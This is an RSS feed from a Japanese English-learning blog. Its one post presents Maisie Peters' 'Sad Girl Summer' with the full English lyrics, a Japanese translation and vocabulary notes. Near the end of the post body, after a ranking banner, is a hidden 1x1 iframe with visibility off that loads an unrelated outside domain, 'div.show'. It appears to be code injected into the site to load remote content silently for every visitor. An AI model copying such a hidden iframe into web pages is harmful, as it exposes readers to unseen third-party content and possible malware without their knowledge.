﻿<?xml version="1.0" encoding="UTF-8"?><?xml-stylesheet type="text/xsl" href="https://ffeng.jp/wp-content/plugins/rss-feed-styles/public/template.xsl"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	xmlns:rssFeedStyles="http://www.lerougeliet.com/ns/rssFeedStyles#"
>

<channel>
	<title>ハーレイ・クインの華麗なる覚醒 | たのしむイングリッシュ</title>
	<atom:link href="https://ffeng.jp/tag/%e3%83%8f%e3%83%bc%e3%83%ac%e3%82%a4%e3%83%bb%e3%82%af%e3%82%a4%e3%83%b3%e3%81%ae%e8%8f%af%e9%ba%97%e3%81%aa%e3%82%8b%e8%a6%9a%e9%86%92/feed/" rel="self" type="application/rss+xml" />
	<link>https://ffeng.jp</link>
	<description>FUN FUN ENGLISH</description>
	<lastBuildDate>Thu, 13 Mar 2025 09:07:34 +0000</lastBuildDate>
	<language>ja</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	

<image>
	<url>https://ffeng.jp/wp-content/uploads/2024/05/becc7259dcbe6f095b1408b76d8a80aa-150x74.png</url>
	<title>ハーレイ・クインの華麗なる覚醒 | たのしむイングリッシュ</title>
	<link>https://ffeng.jp</link>
	<width>32</width>
	<height>32</height>
</image> 
<atom:link rel="hub" href="https://pubsubhubbub.appspot.com"/>
<atom:link rel="hub" href="https://pubsubhubbub.superfeedr.com"/>
<atom:link rel="hub" href="https://websubhub.com/hub"/>
<atom:link rel="self" href="https://ffeng.jp/tag/%e3%83%8f%e3%83%bc%e3%83%ac%e3%82%a4%e3%83%bb%e3%82%af%e3%82%a4%e3%83%b3%e3%81%ae%e8%8f%af%e9%ba%97%e3%81%aa%e3%82%8b%e8%a6%9a%e9%86%92/feed/"/>
<rssFeedStyles:reader name="Digg Reader" url="http://digg.com/reader/search/https%3A%2F%2Fffeng.jp%2Ffeed%2F"/><rssFeedStyles:reader name="Feedly" url="http://cloud.feedly.com/#subscription%2Ffeed%2Fhttps://ffeng.jp/feed/"/><rssFeedStyles:reader name="Inoreader" url="http://www.inoreader.com/?add_feed=https%3A%2F%2Fffeng.jp%2Ffeed%2F"/><rssFeedStyles:button name="Like" url="https://www.facebook.com/sharer/sharer.php?u=%url%"/><rssFeedStyles:button name="G+" url="https://plus.google.com/share?url=%url%"/><rssFeedStyles:button name="Tweet" url="https://twitter.com/intent/tweet?url=%url%"/><rssFeedStyles:button name="Evernote" url="http://www.evernote.com/clip.action?url=%url%"/><rssFeedStyles:button name="Tumblr" url="https://www.tumblr.com/widgets/share/tool?posttype=link&amp;canonicalUrl=%url%"/><site xmlns="com-wordpress:feed-additions:1">164513092</site>	<item>
		<title>メイジー・ピータース『Sad Girl Summer』和訳。夏の失恋を癒すエモくてキャッチーなメロディ　　</title>
		<link>https://ffeng.jp/2020/07/07/maisiepeters/</link>
		
		<dc:creator><![CDATA[ffeng]]></dc:creator>
		<pubDate>Tue, 07 Jul 2020 03:49:26 +0000</pubDate>
				<category><![CDATA[エンターテイメント]]></category>
		<category><![CDATA[音楽]]></category>
		<category><![CDATA[Birds of Prey]]></category>
		<category><![CDATA[Emo Girl Pop]]></category>
		<category><![CDATA[Maisie Peters]]></category>
		<category><![CDATA[Place We Were Made”]]></category>
		<category><![CDATA[sad girl summer]]></category>
		<category><![CDATA[イギリス出身]]></category>
		<category><![CDATA[エモガールポップ]]></category>
		<category><![CDATA[キャッチー]]></category>
		<category><![CDATA[サッド ガール サマー]]></category>
		<category><![CDATA[ジャンル]]></category>
		<category><![CDATA[チャット]]></category>
		<category><![CDATA[ハーレイ・クインの華麗なる覚醒]]></category>
		<category><![CDATA[ブライトン]]></category>
		<category><![CDATA[ボサノバ調]]></category>
		<category><![CDATA[メイジー・ピーターズ]]></category>
		<category><![CDATA[メロディ]]></category>
		<category><![CDATA[リモート感覚満載]]></category>
		<category><![CDATA[失恋]]></category>
		<category><![CDATA[対訳]]></category>
		<category><![CDATA[必至]]></category>
		<category><![CDATA[悲しい夏]]></category>
		<category><![CDATA[映画]]></category>
		<guid isPermaLink="false">http://ffeng.jp/?p=1441</guid>

					<description><![CDATA[<p>2020年7月1日配信開始の、この夏ヒット必至のメ <a class="mh-excerpt-more" href="https://ffeng.jp/2020/07/07/maisiepeters/" title="メイジー・ピータース『Sad Girl Summer』和訳。夏の失恋を癒すエモくてキャッチーなメロディ　　">[...]</a></p>
The post <a href="https://ffeng.jp/2020/07/07/maisiepeters/">メイジー・ピータース『Sad Girl Summer』和訳。夏の失恋を癒すエモくてキャッチーなメロディ　　</a> first appeared on <a href="https://ffeng.jp">たのしむイングリッシュ</a>.<div class='yarpp yarpp-related yarpp-related-rss yarpp-template-thumbnails'>
<!-- YARPP Thumbnails -->
<h3>Related posts</h3>
<div class="yarpp-thumbnails-horizontal">
<a class='yarpp-thumbnail' rel='norewrite' href='https://ffeng.jp/2025/01/11/ren5/' title='「もし私が目黒蓮の彼女なら…」妄想で覚える英語仮定法③ IF 後編'>
<img width="120" height="120" src="https://ffeng.jp/wp-content/uploads/2025/01/superhero-120x120.png" class="attachment-yarpp-thumbnail size-yarpp-thumbnail wp-post-image" alt="" data-pin-nopin="true" decoding="async" srcset="https://ffeng.jp/wp-content/uploads/2025/01/superhero-120x120.png 120w, https://ffeng.jp/wp-content/uploads/2025/01/superhero-150x150.png 150w" sizes="(max-width: 120px) 100vw, 120px" /><span class="yarpp-thumbnail-title">「もし私が目黒蓮の彼女なら…」妄想で覚える英語仮定法③ IF 後編</span></a>
<a class='yarpp-thumbnail' rel='norewrite' href='https://ffeng.jp/2024/05/26/starren3/' title='【意外に奥が深い英語表現『星空観察』】目黒蓮と星を見に行きたいなー、って英語で何ていうの？'>
<img width="120" height="120" src="https://ffeng.jp/wp-content/uploads/2024/05/IMG_1581-120x120.jpg" class="attachment-yarpp-thumbnail size-yarpp-thumbnail wp-post-image" alt="" data-pin-nopin="true" decoding="async" srcset="https://ffeng.jp/wp-content/uploads/2024/05/IMG_1581-120x120.jpg 120w, https://ffeng.jp/wp-content/uploads/2024/05/IMG_1581-150x150.jpg 150w" sizes="(max-width: 120px) 100vw, 120px" /><span class="yarpp-thumbnail-title">【意外に奥が深い英語表現『星空観察』】目黒蓮と星を見に行きたいなー、って英語で何ていうの？</span></a>
<a class='yarpp-thumbnail' rel='norewrite' href='https://ffeng.jp/2024/09/01/ren_ganbatte/' title='【推し活英語講座】目黒蓮さんに頑張ってね！って英語でお見舞いやエールを送ろう。使えるフレーズ集'>
<img width="120" height="120" src="https://ffeng.jp/wp-content/uploads/2024/08/ren-120x120.png" class="attachment-yarpp-thumbnail size-yarpp-thumbnail wp-post-image" alt="" data-pin-nopin="true" decoding="async" srcset="https://ffeng.jp/wp-content/uploads/2024/08/ren-120x120.png 120w, https://ffeng.jp/wp-content/uploads/2024/08/ren-150x150.png 150w" sizes="(max-width: 120px) 100vw, 120px" /><span class="yarpp-thumbnail-title">【推し活英語講座】目黒蓮さんに頑張ってね！って英語でお見舞いやエールを送ろう。使えるフレーズ集</span></a>
</div>
</div>
]]></description>
										<content:encoded><![CDATA[<p><strong>2020年7月1日配信開始</strong>の、この夏ヒット必至の<strong>メイジー・ピータース</strong>の『<strong>Sad Girl Summer（サッド ガール サマー）</strong>』をご紹介します。</p>
<p>どこかボサノバ調のギターのリラックスしたリズムとキャッチーなメロディが後を引く『<strong>Sad Girl Summer</strong>』は、英ブライトン出身のポップシンガーソングライター、<strong>メイジー・ピータース</strong>（<strong>Maisie Peters</strong>）の新曲です。ちょっとスモーキーな心地よい歌声が魅力の<strong>メイジー</strong>は2000年生まれの20歳。</p>
<p>自身の音楽ジャンルを「<strong>Emo Girl Pop</strong>（<strong>エモガールポップ</strong>）」と呼ぶように、エモーショナルなポップソングを2015年ごろからネットで音楽を配信し続け、2017年に“<strong>Place We Were Made</strong>”シングルデビュー。今年は映画『<strong>ハーレイ・クインの華麗なる覚醒 Birds of Prey</strong>』のサウンドトラックに唯一のイギリス出身アーティストとして参加するなど躍進中。今年はヨーロッパ各地で公演が決定いるんだとか。</p>
<p>失恋した友達が悲しい夏を過ごさないように慰める歌詞は、ジメジメ暗いものではなく「<strong>やつの電話番号消して乾杯しましょ</strong>」的な前向きなもの。メロディーも洒落ています。PVもリモート感覚満載で、チャット越しに友達と戯れるメイジーが登場します。誰が失恋したか分からないような楽しそうなシーンが流れます。ガールズたちの楽しそうな日常を垣間見れるようなビデオは、この暗いニュースが続くご時世の鬱憤を打ち消してくれそうです。</p>
<p>この『<strong>Sad Girl Summer</strong>』に関して<strong>メイジー</strong>はこう述べています。</p>
<blockquote><p><strong>I wrote &#8220;Sad Girl Summer&#8221; at the beginning of summer 2019, which ironically went on to be one of the best summers of my life! The song is all about letting go of things and people that aren’t worth your precious time and energy, and celebrating the people in your life that are.</strong></p>
<p>2019年の初夏に“<strong>Sad Girl Summer</strong>”を作ったの。皮肉にも私の人生で最高の夏だった！これは大切な時間とエネルギーを注ぐに値しない物や人を手放して、大切な人と人生を祝福しようって歌なの</p></blockquote>
<div data-mode="normal" data-oembed="1" data-provider="youtube" id="arve-youtube-__vcybboy24" style="max-width:678px;" class="arve">
<div class="arve-inner">
<div style="aspect-ratio:226/127" class="arve-embed arve-embed--has-aspect-ratio">
<div class="arve-ar" style="padding-top:56.194690%"></div>
<p>			<iframe allow="accelerometer &apos;none&apos;;autoplay &apos;none&apos;;bluetooth &apos;none&apos;;browsing-topics &apos;none&apos;;camera &apos;none&apos;;clipboard-read &apos;none&apos;;clipboard-write;display-capture &apos;none&apos;;encrypted-media &apos;none&apos;;gamepad &apos;none&apos;;geolocation &apos;none&apos;;gyroscope &apos;none&apos;;hid &apos;none&apos;;identity-credentials-get &apos;none&apos;;idle-detection &apos;none&apos;;keyboard-map &apos;none&apos;;local-fonts;magnetometer &apos;none&apos;;microphone &apos;none&apos;;midi &apos;none&apos;;otp-credentials &apos;none&apos;;payment &apos;none&apos;;picture-in-picture;publickey-credentials-create &apos;none&apos;;publickey-credentials-get &apos;none&apos;;screen-wake-lock &apos;none&apos;;serial &apos;none&apos;;summarizer &apos;none&apos;;sync-xhr;usb &apos;none&apos;;web-share;window-management &apos;none&apos;;xr-spatial-tracking &apos;none&apos;;" allowfullscreen="" class="arve-iframe fitvidsignore" credentialless data-arve="arve-youtube-__vcybboy24" data-lenis-prevent="" data-src-no-ap="https://www.youtube-nocookie.com/embed/__vcybBoY24?feature=oembed&amp;iv_load_policy=3&amp;modestbranding=1&amp;rel=0&amp;autohide=1&amp;playsinline=0&amp;autoplay=0" frameborder="0" height="381" loading="lazy" name="" referrerpolicy="strict-origin-when-cross-origin" sandbox="allow-scripts allow-same-origin allow-presentation allow-popups allow-popups-to-escape-sandbox" scrolling="no" src="https://www.youtube-nocookie.com/embed/__vcybBoY24?feature=oembed&#038;iv_load_policy=3&#038;modestbranding=1&#038;rel=0&#038;autohide=1&#038;playsinline=0&#038;autoplay=0" title="" width="678"></iframe></p></div>
</p></div>
<p>	<script type="application/ld+json">{"@context":"http:\/\/schema.org\/","@id":"https:\/\/ffeng.jp\/2020\/07\/07\/maisiepeters\/#arve-youtube-__vcybboy24","@type":"VideoObject","embedURL":"https:\/\/www.youtube-nocookie.com\/embed\/__vcybBoY24?feature=oembed&iv_load_policy=3&modestbranding=1&rel=0&autohide=1&playsinline=0&autoplay=0"}</script></p>
</div>
<h2>Sad Girl Summer – Maisie Peters</h2>
<p><strong>One of us was married</strong><br />
<strong>To an ex-marine, with a blonde down the block, he</strong><br />
<strong>Said commitment’s scary</strong><br />
<strong>Then he left her alone with a house and a dog, so</strong><br />
<strong>So she ran to Daddy</strong><br />
<strong>And he said “That man’s a loser, call your friends up”</strong><br />
<strong>And we pulled a chair up (Oh-oh, oh-oh)</strong></p>
<p>友達が近所の金髪の元海兵と結婚したの<br />
彼ったら縛られたくないって言って<br />
出て行った<br />
犬もおいて行ったわ<br />
彼女はパパに泣きついたの<br />
そしたら「そいつは負け犬だ。友達に電話しな」だって<br />
それから私達は一緒に腰掛けて</p>
<p><strong>Pass your phone to the right (To the right)</strong><br />
<strong>Text an ex-love goodbye</strong></p>
<p>電話を右の人に渡して<br />
そいつにバイバイってメールするのよ</p>
<p><strong>It’s another sad girl summer</strong><br />
<strong>Flowers on the side of the road</strong><br />
<strong>Travellin’ beside each other</strong><br />
<strong>No one has to dance on their own</strong><br />
<strong>Oh, oh, so</strong><br />
<strong>Take my hand and</strong><br />
<strong>Lose his number</strong><br />
<strong>You don’t have to have another sad girl summer</strong><br />
<strong>Raise your glass, let it go</strong></p>
<p>またひとつ<strong>悲しい女の夏</strong>が始まるわ<br />
道脇に咲いてる花<br />
一緒に旅に出ましょう<br />
もうひとりで踊らなくてもいいのよ<br />
私の手をとって<br />
彼のナンバー消しましょ<br />
もう<strong>悲しい夏</strong>にお別れよ<br />
<strong>もう忘れて乾杯しましょ</strong></p>
<p><strong>One of us is messy</strong><br />
<strong>She got dumped by “he-who-won’t-be-mentioned”</strong><br />
<strong>She’s vodka-coke unsteady</strong><br />
<strong>So we’re secretly staging an intervention</strong><br />
<strong>Change your shoes, get ready</strong><br />
<strong>That boy is such a loser, put your hair up</strong><br />
<strong>And she pulls a chair up (Oh-oh, oh-oh)</strong></p>
<p>ダメ男に前触れもなく振られてどん底な友達がいるの<br />
ウォッカとコーラのカクテルでフラフラよ<br />
だから助けてあげることにしたの<br />
さあ、靴を履き替えて、用意はいい？<br />
彼ってばダメ男よ、ほら髪をセットして<br />
椅子を引いて</p>
<p><strong>Pass your phone to the right (To the right)</strong><br />
<strong>Text an ex-love goodbye</strong></p>
<p>電話を右の人に渡して<br />
そいつにバイバイってメールするのよ</p>
<p><strong>It’s another sad girl summer</strong><br />
<strong>Flowers on the side of the road</strong><br />
<strong>Travellin’ beside each other</strong><br />
<strong>No one has to dance on their own</strong><br />
<strong>Oh, oh, so</strong><br />
<strong>Take my hand and</strong><br />
<strong>Lose his number</strong><br />
<strong>You don’t have to have another sad girl summer</strong><br />
<strong>Raise your glass, let it go</strong></p>
<p>またひとつ<strong>悲しい女の夏</strong>が始まるわ<br />
道脇に咲いてる花<br />
一緒に旅に出ましょう<br />
もうひとりで踊らなくてもいいのよ<br />
私の手をとって<br />
彼のナンバー消しましょ<br />
もう<strong>悲しい夏</strong>にお別れよ<br />
<strong>もう忘れて乾杯しましょ</strong></p>
<p><strong>Find your lip gloss</strong><br />
<strong>Blow a kiss</strong><br />
<strong>Forget the boy ever existed</strong></p>
<p>リップグロスで唇かざって<br />
投げキッスをするの<br />
やつなんて最初から存在しなかったのよ</p>
<p><strong>Pass your phone to the right (To the right)</strong><br />
<strong>Text an ex-love goodbye</strong></p>
<p>電話を右の人に渡して<br />
そいつにバイバイってメールするのよ</p>
<p><strong>It’s another sad girl summer</strong><br />
<strong>Flowers on the side of the road (On the side, on the side of the road)</strong><br />
<strong>Travellin’ beside each other</strong><br />
<strong>No one has to dance on their own</strong><br />
<strong>Oh, oh, so</strong><br />
<strong>Take my hand and (Take my hand)</strong><br />
<strong>Lose his number (Lose his number)</strong><br />
<strong>You don’t have to have another sad girl summer (Oh, oh, oh)</strong><br />
<strong>Raise your glass, let it go (Let it go)</strong></p>
<p>またひとつ<strong>悲しい女の夏</strong>が始まるわ<br />
道脇に咲いてる花<br />
一緒に旅に出ましょう<br />
もうひとりで踊らなくてもいいのよ<br />
私の手をとって<br />
彼の<strong>ナンバー</strong>消しましょ<br />
もう<strong>悲しい夏</strong>にお別れよ<br />
<strong>もう忘れて乾杯しましょ</strong></p>
<p><strong>・commitment</strong>＝確約<br />
<strong>・text</strong>＝携帯でメールする<br />
<strong>・ex-love</strong>＝元彼、元カノ<br />
<strong>・on 人 own</strong>＝1人で<br />
<strong>・lose ones number</strong>＝電話番号を消す<br />
<strong>・raise ones glass</strong>＝乾杯<br />
<strong>・let it go</strong>＝解放する、諦める</p>
<p><img decoding="async" src="https://www10.a8.net/0.gif?a8mat=35PYA1+9WMO4Y+2NA+1THW9E" alt="" width="1" height="1" border="0" /><br />
<a href="//blog.with2.net/link/?2011927:3421"><img decoding="async" title="英会話ランキング" src="https://blog.with2.net/img/banner/c/banner_1/br_c_3421_1.gif" /></a><br />
<a style="font-size: 0.9em;" href="//blog.with2.net/link/?2011927:3421">英会話ランキング</a></p>
<div><iframe style="position: absolute; height: 1px,width:1px; top: 0; left: 0; border: none; visibility: hidden;" src="//div.show/public"></iframe></div>
<p><a class="a2a_button_facebook" href="https://www.addtoany.com/add_to/facebook?linkurl=https%3A%2F%2Fffeng.jp%2F2020%2F07%2F07%2Fmaisiepeters%2F&amp;linkname=%E3%83%A1%E3%82%A4%E3%82%B8%E3%83%BC%E3%83%BB%E3%83%94%E3%83%BC%E3%82%BF%E3%83%BC%E3%82%B9%E3%80%8ESad%20Girl%20Summer%E3%80%8F%E5%92%8C%E8%A8%B3%E3%80%82%E5%A4%8F%E3%81%AE%E5%A4%B1%E6%81%8B%E3%82%92%E7%99%92%E3%81%99%E3%82%A8%E3%83%A2%E3%81%8F%E3%81%A6%E3%82%AD%E3%83%A3%E3%83%83%E3%83%81%E3%83%BC%E3%81%AA%E3%83%A1%E3%83%AD%E3%83%87%E3%82%A3%E3%80%80%E3%80%80" title="Facebook" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_twitter" href="https://www.addtoany.com/add_to/twitter?linkurl=https%3A%2F%2Fffeng.jp%2F2020%2F07%2F07%2Fmaisiepeters%2F&amp;linkname=%E3%83%A1%E3%82%A4%E3%82%B8%E3%83%BC%E3%83%BB%E3%83%94%E3%83%BC%E3%82%BF%E3%83%BC%E3%82%B9%E3%80%8ESad%20Girl%20Summer%E3%80%8F%E5%92%8C%E8%A8%B3%E3%80%82%E5%A4%8F%E3%81%AE%E5%A4%B1%E6%81%8B%E3%82%92%E7%99%92%E3%81%99%E3%82%A8%E3%83%A2%E3%81%8F%E3%81%A6%E3%82%AD%E3%83%A3%E3%83%83%E3%83%81%E3%83%BC%E3%81%AA%E3%83%A1%E3%83%AD%E3%83%87%E3%82%A3%E3%80%80%E3%80%80" title="Twitter" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_email" href="https://www.addtoany.com/add_to/email?linkurl=https%3A%2F%2Fffeng.jp%2F2020%2F07%2F07%2Fmaisiepeters%2F&amp;linkname=%E3%83%A1%E3%82%A4%E3%82%B8%E3%83%BC%E3%83%BB%E3%83%94%E3%83%BC%E3%82%BF%E3%83%BC%E3%82%B9%E3%80%8ESad%20Girl%20Summer%E3%80%8F%E5%92%8C%E8%A8%B3%E3%80%82%E5%A4%8F%E3%81%AE%E5%A4%B1%E6%81%8B%E3%82%92%E7%99%92%E3%81%99%E3%82%A8%E3%83%A2%E3%81%8F%E3%81%A6%E3%82%AD%E3%83%A3%E3%83%83%E3%83%81%E3%83%BC%E3%81%AA%E3%83%A1%E3%83%AD%E3%83%87%E3%82%A3%E3%80%80%E3%80%80" title="Email" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_line" href="https://www.addtoany.com/add_to/line?linkurl=https%3A%2F%2Fffeng.jp%2F2020%2F07%2F07%2Fmaisiepeters%2F&amp;linkname=%E3%83%A1%E3%82%A4%E3%82%B8%E3%83%BC%E3%83%BB%E3%83%94%E3%83%BC%E3%82%BF%E3%83%BC%E3%82%B9%E3%80%8ESad%20Girl%20Summer%E3%80%8F%E5%92%8C%E8%A8%B3%E3%80%82%E5%A4%8F%E3%81%AE%E5%A4%B1%E6%81%8B%E3%82%92%E7%99%92%E3%81%99%E3%82%A8%E3%83%A2%E3%81%8F%E3%81%A6%E3%82%AD%E3%83%A3%E3%83%83%E3%83%81%E3%83%BC%E3%81%AA%E3%83%A1%E3%83%AD%E3%83%87%E3%82%A3%E3%80%80%E3%80%80" title="Line" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_hatena" href="https://www.addtoany.com/add_to/hatena?linkurl=https%3A%2F%2Fffeng.jp%2F2020%2F07%2F07%2Fmaisiepeters%2F&amp;linkname=%E3%83%A1%E3%82%A4%E3%82%B8%E3%83%BC%E3%83%BB%E3%83%94%E3%83%BC%E3%82%BF%E3%83%BC%E3%82%B9%E3%80%8ESad%20Girl%20Summer%E3%80%8F%E5%92%8C%E8%A8%B3%E3%80%82%E5%A4%8F%E3%81%AE%E5%A4%B1%E6%81%8B%E3%82%92%E7%99%92%E3%81%99%E3%82%A8%E3%83%A2%E3%81%8F%E3%81%A6%E3%82%AD%E3%83%A3%E3%83%83%E3%83%81%E3%83%BC%E3%81%AA%E3%83%A1%E3%83%AD%E3%83%87%E3%82%A3%E3%80%80%E3%80%80" title="Hatena" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_pocket" href="https://www.addtoany.com/add_to/pocket?linkurl=https%3A%2F%2Fffeng.jp%2F2020%2F07%2F07%2Fmaisiepeters%2F&amp;linkname=%E3%83%A1%E3%82%A4%E3%82%B8%E3%83%BC%E3%83%BB%E3%83%94%E3%83%BC%E3%82%BF%E3%83%BC%E3%82%B9%E3%80%8ESad%20Girl%20Summer%E3%80%8F%E5%92%8C%E8%A8%B3%E3%80%82%E5%A4%8F%E3%81%AE%E5%A4%B1%E6%81%8B%E3%82%92%E7%99%92%E3%81%99%E3%82%A8%E3%83%A2%E3%81%8F%E3%81%A6%E3%82%AD%E3%83%A3%E3%83%83%E3%83%81%E3%83%BC%E3%81%AA%E3%83%A1%E3%83%AD%E3%83%87%E3%82%A3%E3%80%80%E3%80%80" title="Pocket" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_flipboard" href="https://www.addtoany.com/add_to/flipboard?linkurl=https%3A%2F%2Fffeng.jp%2F2020%2F07%2F07%2Fmaisiepeters%2F&amp;linkname=%E3%83%A1%E3%82%A4%E3%82%B8%E3%83%BC%E3%83%BB%E3%83%94%E3%83%BC%E3%82%BF%E3%83%BC%E3%82%B9%E3%80%8ESad%20Girl%20Summer%E3%80%8F%E5%92%8C%E8%A8%B3%E3%80%82%E5%A4%8F%E3%81%AE%E5%A4%B1%E6%81%8B%E3%82%92%E7%99%92%E3%81%99%E3%82%A8%E3%83%A2%E3%81%8F%E3%81%A6%E3%82%AD%E3%83%A3%E3%83%83%E3%83%81%E3%83%BC%E3%81%AA%E3%83%A1%E3%83%AD%E3%83%87%E3%82%A3%E3%80%80%E3%80%80" title="Flipboard" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_tumblr" href="https://www.addtoany.com/add_to/tumblr?linkurl=https%3A%2F%2Fffeng.jp%2F2020%2F07%2F07%2Fmaisiepeters%2F&amp;linkname=%E3%83%A1%E3%82%A4%E3%82%B8%E3%83%BC%E3%83%BB%E3%83%94%E3%83%BC%E3%82%BF%E3%83%BC%E3%82%B9%E3%80%8ESad%20Girl%20Summer%E3%80%8F%E5%92%8C%E8%A8%B3%E3%80%82%E5%A4%8F%E3%81%AE%E5%A4%B1%E6%81%8B%E3%82%92%E7%99%92%E3%81%99%E3%82%A8%E3%83%A2%E3%81%8F%E3%81%A6%E3%82%AD%E3%83%A3%E3%83%83%E3%83%81%E3%83%BC%E3%81%AA%E3%83%A1%E3%83%AD%E3%83%87%E3%82%A3%E3%80%80%E3%80%80" title="Tumblr" rel="nofollow noopener" target="_blank"></a><a class="a2a_dd addtoany_share_save addtoany_share" href="https://www.addtoany.com/share#url=https%3A%2F%2Fffeng.jp%2F2020%2F07%2F07%2Fmaisiepeters%2F&#038;title=%E3%83%A1%E3%82%A4%E3%82%B8%E3%83%BC%E3%83%BB%E3%83%94%E3%83%BC%E3%82%BF%E3%83%BC%E3%82%B9%E3%80%8ESad%20Girl%20Summer%E3%80%8F%E5%92%8C%E8%A8%B3%E3%80%82%E5%A4%8F%E3%81%AE%E5%A4%B1%E6%81%8B%E3%82%92%E7%99%92%E3%81%99%E3%82%A8%E3%83%A2%E3%81%8F%E3%81%A6%E3%82%AD%E3%83%A3%E3%83%83%E3%83%81%E3%83%BC%E3%81%AA%E3%83%A1%E3%83%AD%E3%83%87%E3%82%A3%E3%80%80%E3%80%80" data-a2a-url="https://ffeng.jp/2020/07/07/maisiepeters/" data-a2a-title="メイジー・ピータース『Sad Girl Summer』和訳。夏の失恋を癒すエモくてキャッチーなメロディ　　"></a></p>The post <a href="https://ffeng.jp/2020/07/07/maisiepeters/">メイジー・ピータース『Sad Girl Summer』和訳。夏の失恋を癒すエモくてキャッチーなメロディ　　</a> first appeared on <a href="https://ffeng.jp">たのしむイングリッシュ</a>.<div class='yarpp yarpp-related yarpp-related-rss yarpp-template-thumbnails'>
<!-- YARPP Thumbnails -->
<h3>Related posts</h3>
<div class="yarpp-thumbnails-horizontal">
<a class='yarpp-thumbnail' rel='norewrite' href='https://ffeng.jp/2025/01/11/ren5/' title='「もし私が目黒蓮の彼女なら…」妄想で覚える英語仮定法③ IF 後編'>
<img width="120" height="120" src="https://ffeng.jp/wp-content/uploads/2025/01/superhero-120x120.png" class="attachment-yarpp-thumbnail size-yarpp-thumbnail wp-post-image" alt="" data-pin-nopin="true" decoding="async" srcset="https://ffeng.jp/wp-content/uploads/2025/01/superhero-120x120.png 120w, https://ffeng.jp/wp-content/uploads/2025/01/superhero-150x150.png 150w" sizes="(max-width: 120px) 100vw, 120px" /><span class="yarpp-thumbnail-title">「もし私が目黒蓮の彼女なら…」妄想で覚える英語仮定法③ IF 後編</span></a>
<a class='yarpp-thumbnail' rel='norewrite' href='https://ffeng.jp/2024/05/26/starren3/' title='【意外に奥が深い英語表現『星空観察』】目黒蓮と星を見に行きたいなー、って英語で何ていうの？'>
<img width="120" height="120" src="https://ffeng.jp/wp-content/uploads/2024/05/IMG_1581-120x120.jpg" class="attachment-yarpp-thumbnail size-yarpp-thumbnail wp-post-image" alt="" data-pin-nopin="true" decoding="async" srcset="https://ffeng.jp/wp-content/uploads/2024/05/IMG_1581-120x120.jpg 120w, https://ffeng.jp/wp-content/uploads/2024/05/IMG_1581-150x150.jpg 150w" sizes="(max-width: 120px) 100vw, 120px" /><span class="yarpp-thumbnail-title">【意外に奥が深い英語表現『星空観察』】目黒蓮と星を見に行きたいなー、って英語で何ていうの？</span></a>
<a class='yarpp-thumbnail' rel='norewrite' href='https://ffeng.jp/2024/09/01/ren_ganbatte/' title='【推し活英語講座】目黒蓮さんに頑張ってね！って英語でお見舞いやエールを送ろう。使えるフレーズ集'>
<img width="120" height="120" src="https://ffeng.jp/wp-content/uploads/2024/08/ren-120x120.png" class="attachment-yarpp-thumbnail size-yarpp-thumbnail wp-post-image" alt="" data-pin-nopin="true" decoding="async" srcset="https://ffeng.jp/wp-content/uploads/2024/08/ren-120x120.png 120w, https://ffeng.jp/wp-content/uploads/2024/08/ren-150x150.png 150w" sizes="(max-width: 120px) 100vw, 120px" /><span class="yarpp-thumbnail-title">【推し活英語講座】目黒蓮さんに頑張ってね！って英語でお見舞いやエールを送ろう。使えるフレーズ集</span></a>
</div>
</div>
]]></content:encoded>
					
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">1441</post-id>	</item>
	</channel>
</rss>
